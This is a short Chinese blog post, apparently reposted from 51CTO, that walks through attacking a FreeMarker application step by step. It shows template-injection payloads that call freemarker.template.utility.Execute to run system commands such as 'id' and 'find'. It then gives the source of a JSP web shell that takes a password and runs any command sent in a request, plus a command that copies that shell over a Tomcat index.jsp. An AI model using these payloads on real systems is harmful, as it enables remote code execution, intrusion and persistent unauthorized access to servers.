且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事

FreeMarker执行系统命令

更新时间:2022-09-28 17:03:37

1、寻找可以上传FTL模板的漏洞点


2、尝试注入FTL模板

1
2
<#assign test="freemarker.template.utility.Execute"?new()>
${test("id")}


3、查找上传的FTL文件保存路径

1
2
<#assign test="freemarker.template.utility.Execute"?new()>
${test("find / -name *.ftl")}


4、获取WebShell

1
2
3
4
# webshell.ftl
<%if ("023".equals(request.getParameter("pwd")))
{java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>
1
2
3
4
# main.ftl
<#assign test="freemarker.template.utility.Execute"?new()>
${test("cp /home/bmpapp/upc_plugin_home/export_plugin/development/user/webshell.ftl 
/home/bmpapp/tomcat/webapps/default.war/index.jsp")}


5、访问index.jsp


















本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1936931 ,如需转载请自行联系原作者